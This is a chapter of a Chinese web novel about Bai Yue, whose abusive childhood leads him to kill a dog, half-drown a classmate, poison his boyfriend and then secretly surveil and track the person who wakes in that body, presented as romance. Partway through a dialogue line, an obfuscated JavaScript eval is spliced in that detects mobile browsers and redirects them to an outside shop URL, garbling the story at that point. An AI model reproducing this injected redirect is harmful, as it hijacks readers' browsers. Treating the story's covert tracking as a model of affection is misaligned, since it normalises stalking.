【一次出生（0岁）】
白家的族谱上，每一页都只写着一个男丁的名字，前前后后，大概写过近百个名字。
白瑞的体检报告压在桌角，“无精症”三个字印得漆黑。他和妻子的合照摆在报告旁，两人穿着高中校服，笑得青涩。
白瑞出国三个月，回来时行李箱还没打开，就看见妻子扶着腰站在玄关，小腹微微隆起。
他没说话，转身去了医院。
三天后，他拿着DNA检测报告，站在走廊里，指尖攥得报告发皱。报告上约50%匹配的字样，在灯光下晃眼。
白家世代单传，这孩子还能是谁的，白瑞比谁都清楚。
他回了家，把报告锁进保险柜，晚饭时给妻子夹了一筷子青菜，全程没抬眼。
【一场旅行（6岁）】
白母生下孩子后精神开始出问题。产后抑郁，加上那件事，她一天比一天不正常。
她住的房间也常年锁着，窗帘拉得严严实实，偶尔有哭声从里面飘出来，断断续续。白瑞给佣人吩咐，对外只说夫人身子弱，需静养。
白越趴在房门外，听见白瑞对里面说：“我在保护你。”
那天午后，白母趁佣人开门送水，冲了出来，一把抱住白越，将他按在地上。
她骑在他身上，双手掐住他的脖子，指甲嵌进肉里。白越仰着头，看着她脸上的泪，顺着脸颊往下淌，滴在他的额头上，滚烫。
忽然，她松了手，把白越搂进怀里，肩膀发抖：“快点长大，快点跑，脱离这个家。”
白越攥着母亲塞给他的一串钥匙，钥匙上挂着个小小的房牌。他把钥匙藏在了自己枕头下，没动。
他那时候还不知道往哪跑。
周末，白越攥着攒了半年的钱，背着佣人们拉着她出了门。餐厅的玻璃窗擦得干净，母亲看着菜单，手指微微颤抖，点了一份儿童套餐。
回到家时，白瑞铁青着脸站在门口。白母猛地把白越推出去，声音尖利：“是他！是他带我要跑的！”
白瑞抬手，手机砸在白越的脑袋上，一下，两下，三下。
白越跪在地上，血从眉骨往下淌。
他抬头看母亲。母亲在笑。
“都该死啊。”她说。
【一只野狗（9岁）】
佣人在厨房嚼舌根，声音没压稳，飘进白越耳朵里。
“少爷不是先生的种”“夫人当年……”
再下一次饭局，有人拍着白越的肩膀，笑着说他是母猪生的。
白越记住了那人的脸，放下筷子，看向白瑞：“你不报复？”
白瑞端着酒杯，眼神躲闪：“这其中的商业逻辑你不懂。”
白越恍然。
原来他也只是个孬种。
凌晨三点，白越用石头打掉了监控，然后翻进那人的院子。
院子里的金毛摇着尾巴凑过来，他握着小刀，蹲下身，摸了摸金毛的头，随后刀尖抵着狗的脖颈。
血溅在他的袖口上，温热粘稠。
他用手指蘸着狗血，在门廊上写了四个字：
野狗的家。
事情败露的第二天，白瑞把白越按在客厅地砖上，按住他的后颈，逼他磕头。额头磕在砖上，闷响连连，白越垂着眼，睫毛上沾了灰尘。
白瑞喘着气，骂他不知好歹。
白越没说话，只在心里念：孬种而已。
他看着白瑞，又想起饭局上笑他的那个人，嘴角扯了扯，没出声。
【一份友谊（12岁）】
初中教室的窗开着，白越坐在最后一排，看着前排两个男生相互抄作业，拍着肩膀说我俩不愧是好朋友。
他选了班里最爱笑的男生，早餐时递过去一瓶牛奶，午休时陪他去打球，晚自习后给了他五百块钱。
男生愣了愣，笑着拍他的肩膀：“行啊，朋友。”
原来那么简单。
男生和别人在走廊上说笑，白越走过去，扯了扯他的衣角：“你怎么不理我。”
男生和别人约了周末打球，没叫他。白越站在球场边，看着他们奔跑，眉头皱起：“你为什么要和别人玩？”
后来，男生回消息越来越慢，放学时总是绕着他走。白越站在原地，看着他的背影，想着下一个朋友要选谁。
……
走廊里，几个男生凑在一起，低声议论他，声音飘过来。
“这就是我跟你们说过的那个。”“他家长都不来开会的。“”啊？他有父母？“
白越没理，直到其中一个男生故意撞了他一下，笑着说：“对不起啊，借过。”
白越不知道为什么有人会这么不识好歹，他分明开始没想理会他们。
他随便找了个借口，把他骗到了学校人工湖，趁他不注意，伸手把人推了进去。他蹲在湖边，按住那人的脑袋，往水里按，快要窒息了又拽着头发把人拉上来。那人的哭声混着湖水的声音，含糊不清。
不远处，一对早恋的小情侣尖叫起来安。
白越玩了很久，直到他被匆匆赶来的保安和老师拽离了湖边。
白瑞赶到学校时，办公室里挤满了人。他抬手，一耳光扇在白越脸上，声音响亮：“白家的脸被你丢尽了！”
白越抹了一下嘴角的血，神色平静：“什么样的事？爷爷和母亲的事？我不是你亲儿子的事？”
办公室里瞬间安静，所有人都看着他们父子俩。
当晚，白越被白瑞拖回了家。
白瑞把他捆在椅子上揍，揍够了，再一脚把他踹下楼梯，他滚了下去，后腰撞在台阶上，疼得蜷缩起来。
白瑞仍不解气，拿起桌上的花瓶就要砸下来，最后管家王叔冲过来挡在了他身前。
白越说没事，慢慢站了起来，拍了拍身上的灰，转身进了房间，关上门，躺倒在床上。
眼睛睁着，直到天亮。
……
那件事发生后，白越在办公室里说的那些话，被那个“朋友”当做谈资传了出去。
大家开始叫白越“野狗”。说他母亲是“母狗”，是他的父亲是“乌龟”。
白越知道是谁传的。开始他还会报复，后来放弃了。
人太多了，报复不过来。
他开始什么都不说。
……
事情传开了，白瑞勒令他转学。
转学的前几天，白越在走廊上遇见那个“朋友”。男生看见他，立刻低下头，绕着他走了过去。
白越站在原地，看着他的背影拐过转角，站了很久。他摸了摸自己的脸，发现自己好像想不起男生的模样了。
白瑞把转学手续放在他面前，他拿起笔，在名字那一栏，写得工整。
【一个演员（14-17岁）】
新学校的校服是藏蓝色的，领口有白色的条纹。白越把拉链拉到最上面，上课铃响时，举手比别人快，下课铃一响，就把作业放在老师办公桌上，给同班同学讲解题目。
老师在班会课上表扬他，他站在讲台旁，微笑着说是老师教得好。
爷爷的葬礼上，白瑞跪在灵前，肩膀发抖，眼泪砸在灵堂的地砖上。
白越站在他身后，也弯着腰，手里的白菊捏得发皱，学着白瑞哭泣时的表情，掉了几滴眼泪。
白瑞看着他落下的眼泪，如同见到了猎奇的怪物。
葬礼结束后，白瑞把他的银行卡扔在桌上，声音冰冷：“滚出去。”
白越已经对这个人作出任何事都不奇怪了。他是个孬种，他什么窝囊事都做得出来。
他捡起银行卡，塞进兜里，走出了白家大门。
他找了家餐馆，洗了一个月的碗，手指被洗洁精泡得发白。后来他又去做家教，代写作业，晚上在出租屋里，对着电脑屏幕，看基金走势图看到深夜。
【一段恋情（20岁）】
大学走廊里，温清然总是有意无意地跟在他身后，穿着名牌卫衣，嘴里嚼着口香糖：“白越，跟我处对象呗？”
白越认得他，同一个别墅区的邻居，总是带着一群人，在小区里吵闹。
他知道对方是因为打赌才追自己。懒得管，办理了宿舍入住，温清然紧跟着也办了同一个双人寝。
白越转身回了自己的别墅，再也没去过宿舍。
温清然堵在门口，手里拿着一束玫瑰：“我喜欢你，给个机会。”
白越笑了一下，接过玫瑰，扔在垃圾桶里：“行。”
……
白越以自己理解的方式去正常恋爱。约会，送东西，说“想你”。
周末，他订了餐厅，买了一束白玫瑰，坐在靠窗的位置等温清然。温清然迟到了半小时，坐下就玩手机，一顿饭结束，两个人一句对话都没有展开。
后来，温清然坐在他公寓的沙发上，双腿搭在茶几上：“白越，你跟我睡一觉吧。”
白越看着他，眼神冷得像冰。温清然后背一僵，猛地站起来，骂了句脏话，摔门走了。
之后的日子，温清然对他时冷时热，不理他，骂他龟男，拿烟灰缸砸他的头，偶尔又带着礼物来找他。
白越始终没动气，只是看着他。
因为他需要一段关系。
他好奇。
正常人之间的恋爱是什么，喜欢是什么，爱又是什么。
……
白越的书桌抽屉里，放着一个小小的瓶子，里面装着白色的粉末。他查过剂量，翻过爷爷的药盒，后来把药盒收进了柜子最深处。
但爷爷死得早，没轮到他动手。
他也查过车祸的路线，白瑞公司楼下的十字路口，监控有盲区。他在脑子里过了一遍流程，手指在纸上画了路线，又揉碎了扔进垃圾桶。
时机还没到。
后来温清然撞枪口上了。
白越看着他，忽然想：就他吧。先从他实践起。
在温清然又一次和别人滚完床单后，白越打电话过去，温清然接了，语气不耐烦：“你到底要怎样？”
“喝顿酒，好聚好散。”白越说。
温清然来了，坐在餐桌旁，拿起酒杯，一口喝尽。
过了不到十分钟，温清然倒在地上，没了呼吸。白越站在厨房，拿起菜刀，切着青菜，刀刃划过砧板，沙沙作响。
他本来打算去白瑞家的。今晚，现在，解决完，就去提前预订的空中餐厅庆祝一番。
忽然，身后传来动静。
他回头，看见“温清然“又坐了起来，眼神陌生，看着他，一脸茫然。
白越把刀放下了。
好像可以再等一等。
白越在饭里下了毒，无声无息地走到“温清然”身后。
那个人回头，问他：“怎么了？”
白越看着他：“醒了就来吃饭吧。”
他试探了。看这个人会不会再吃饭。如果他是那个喝了酒的温清然，他就不会吃。
那个人差点吃进嘴里。
筷子碰到碗沿，白越看着他，忽然说：“等一下。”
他夺过饭碗，把桌上的饭菜全部倒进垃圾桶，汤汁溅在地上。
“我带你去吃饭。”他说。
那个空中餐厅是他订的。本来是庆祝他终于搞清楚了喜欢和恋爱是什么东西。
没想到最后居然是两个人去的。
出门前，白越去了温清然的别墅。把之前拆掉的监控和监听又装了回去。全方位覆盖。
他想看看，这个人到底是谁。
……
深夜，白越坐在沙发上盯着电脑屏幕。
屏幕里的“温清然”翻来覆去，被子蒙住头，肩膀偶尔发抖。他把声音调大，听见细碎的哭声，压在喉咙里，含糊不清。
他在哭。
白越靠在椅背上，盯着屏幕。过了很久，他拿起手机。
【白越】睡了吗？
发出去他就后悔了，这不像是他会说的话。
白越在监控里看见那个人擦了擦眼泪。深呼吸，好几下。然后对着屏幕挤出一个笑。
语音发过来，还有点鼻音：“还没有。白越，你怎么也还没睡啊？”
白越听着那个声音，把语音又听了一遍。
那个人又发了一条文字：“我现在要去睡觉了，你也早睡噢。”
白越看着那行字，指尖在屏幕上顿了顿，回了一条：【嗯，宝宝晚安】
发完他把手机扣在桌上。靠在椅背上，盯着天花板。
刚才那句话是怎么打出来的？他甚至没有想，就顺其自然地发了过去。
温清然从来不是宝宝。温清然是“阿然”，心情好了叫一声，心情不好连名带姓。
可这个人好像不太一样。
他开始半夜找那个人聊天。没什么目的，就是想看看那个人会不会回他。
那个人总会秒回。有时候是文字，有时候是语音，软软的，带着困意，说“谢谢你陪我聊天，白越你人真好”。
白越盯着屏幕，手指在“真好”两个字上划了划。
白痴。
他在心里想。
后来他开始注意那个人出门去了哪里，见了谁，去了多久。那个人和别人多说几句话，他就会看那个人的脸，看那个人有没有笑。
那人发消息说，要和朋友去图书馆。白越回：【
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453495|198096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在哪】【和谁】
那人回：【图书馆呀，和朋友～】
白越看着“朋友”两个字，看了很久，手指攥紧了手机。
那人不在的时候，他就看手机。看了好几次，没有消息。他把手机放下，又拿起来。
还是没忍住去了图书馆。
他站在门口，看着那人坐在靠窗的位置，和身边的同学说笑。他走过去，坐在那人旁边，没说话。
那人愣了一下，笑着问他：“你怎么来了？”
白越喉咙有点紧，他咳了一声，没说话。
他开始故意说一些怪话。说“想你”，说“宝宝”，说“喜欢”，说那些他以前从来不会说的话。
只因为他想看那人窘迫害羞的模样。
那个人会脸红，会结巴，会发一些乱七八糟的表情包来掩饰。
白越看着那些表情包，嘴角弯了弯，甚至没意识到自己笑了。
再后来，他想借着廖辰的手，让那人对自己心动。
可那人看到他受了伤，红了眼眶，眼泪掉下来，砸在他的手背上，滚烫。
他后退了半步，看着那人揉着眼睛，不知所措。
心脏好像有点钝痛。
【一起变化（21岁）】
白越小时候不懂那些事，总听见佣人在走廊里嚼舌根，声音压得很低，“□□”“野种”，字字清晰。
母亲被关在房间里，白瑞偶尔进去，母亲会发出尖叫与恶毒的咒骂，随后是渐弱的哭泣，门再次打开时，父亲会脸色很差地走出来。
他靠在墙上，听着那些动静，手指攥紧了衣角。
……
温清然碰他的时候，他会躲开，即便没碰到也会觉得黏腻，浑身不舒服。温清然骂他性冷淡，他没反驳，因为他确实是。
直到那天，沈恪把手贴在他的脸上，指尖温热，软软的，有些不好意思：“这样会不会好一点？”
白越愣住了，没躲开。那只手暖得发烫，贴在他冰凉的脸颊上，只有暖意。
他能听见自己的心跳声，咚咚的，越来越快，撞得胸口发疼。
后来，沈恪总不经意地碰他，拍他的背，摸他的头，拽他的衣角。每一次，他都没躲开，甚至会下意识地借机蹭一蹭对方。
他坐在沙发上，看着沈恪窝在角落里看书，背影软软的。
他忽然想，如果沈恪用那种方式碰他，那会是什么感觉？
他不知道，但他有些期待。
这个念头冒出来的时候，他自己都愣了一下，指尖微微发抖。
沈恪，是他想要的。
是沈恪，在他精心布置的刑场上，铺满了本不该存在的玫瑰。
***
白越睁开眼，窗外的阳光透过窗帘缝隙照进来，落在床上。
沈恪坐在床边，眼神躲闪，不敢看他。
白越眨了眨眼，喉结动了动，那些压在心底的过往，终究没说出口。
没必要。
沈恪会好奇，听完了会难受，会心疼。可那份心疼里，会藏着同情，再也没有半分纯粹的欢喜。
“因为他不是我想要的。”白越的声音很轻，落在空中尘埃里。
沈恪终于抬了抬眼，目光与白越对上的瞬间，又猛地缩了回去。
温清然不是他想要的，所以白越可以毫不犹豫地动手。
那他呢？
他本来还想问那顿饭里是不是真的下了毒，可现在他不敢问了。
沈恪转过身，开始收拾起自己的东西。把床头柜上的小说塞进包里，把水杯里的水倒在了花盆里，把充电线一圈一圈绕好。
他做这一切的时候始终没去看白越，动作慢得刻意，像是在拖延。
白越看着他的背影，心脏猛地一缩，那种熟悉的恐慌瞬间攥住了他。
他闭上眼，深呼吸。一下，两下。
没用。
那根弦还是断了。
他还是让沈恪感到害怕了。
白越不顾腿上的伤，猛地掀开被子，踉跄着下床，伸手从身后抱住沈恪。
手臂收得很紧。紧到他听见沈恪吃痛地嘶了一声。
他应该松一点的。他知道。
可他松不开。
松开了，沈恪可能就真的走掉了。
下巴抵在沈恪的肩膀上，声音里带着不易察觉的颤抖：“你是。”
顿了顿，他又重复了一遍：“你是我想要的。”
沈恪的身体僵住了，脸颊瞬间烫了起来，从耳尖蔓延到脖颈。
可这份热意里，裹着更深的慌。
白越救过他，是在他最狼狈的时候，拼了命护着他的人。可白越也杀过人，那双温柔过的手，也沾过鲜血。
道理他都懂，可指责的话怎么也说不出口。
沈恪手臂微一用力，挣开了白越的怀抱，没敢回头，脚步匆匆地往门口走。
“宝宝，”白越的声音从身后传来，带着点哑，“你明天还来吗？”
沈恪的脚步猛地顿住，脚后跟抵着地面，站在原地，一动不动。
“干啥呢动作这么慢。”
敲门声响起，祈愿探进半个身子，目光在两人之间扫了一圈，啧了一声，说了句“我在楼下等”，就又退了出去。
沈恪拎起包，走到门口时又顿住了。
他转过身，目光落在白越身上。
白越靠在枕头上，怀里空空的，眼神软软的落在他身上，嘴角还挂着笑。薄得像一层纸，风一吹，就会碎掉。
沈恪的喉结动了动，脚步很慢地走回床边，从包里取出那个小鸡玩偶塞进了白越怀里，又飞快地缩回了手。
白越低头看着怀里的小鸡，圆圆的黑眼睛亮晶晶的，对着他笑。他的指尖轻轻碰了碰玩偶的脑袋，没说话。
沈恪没再停留，转身走了。
门在身后轻轻关上。
白越一个人坐在床上，怀里抱着那只小鸡，一动不动。他低下头，鼻尖蹭了蹭小鸡的绒毛，一下，又一下，动作轻柔得不像话，蹭到第三下时，忽然停住了。
他缓缓抬起头，脸上那点转瞬即逝的脆弱，像被风吹散的烟，一点点淡了，淡到一点痕迹都不剩。
他又低下头，把嘴唇轻轻覆在小鸡扬起的嘴角上，贴了许久，又松开，捏了捏玩偶的脸颊。
他拿起手机，指尖在屏幕上划了两下，点开那个隐藏的软件。屏幕上，一个小小的光点正在缓慢移动，已经快到一楼大厅，停了一会儿，又继续移动，往停车场的方向去。
他靠在床头，把小鸡放在自己的膝盖上，擦了擦玩偶的眼角。
“他走了。”他说。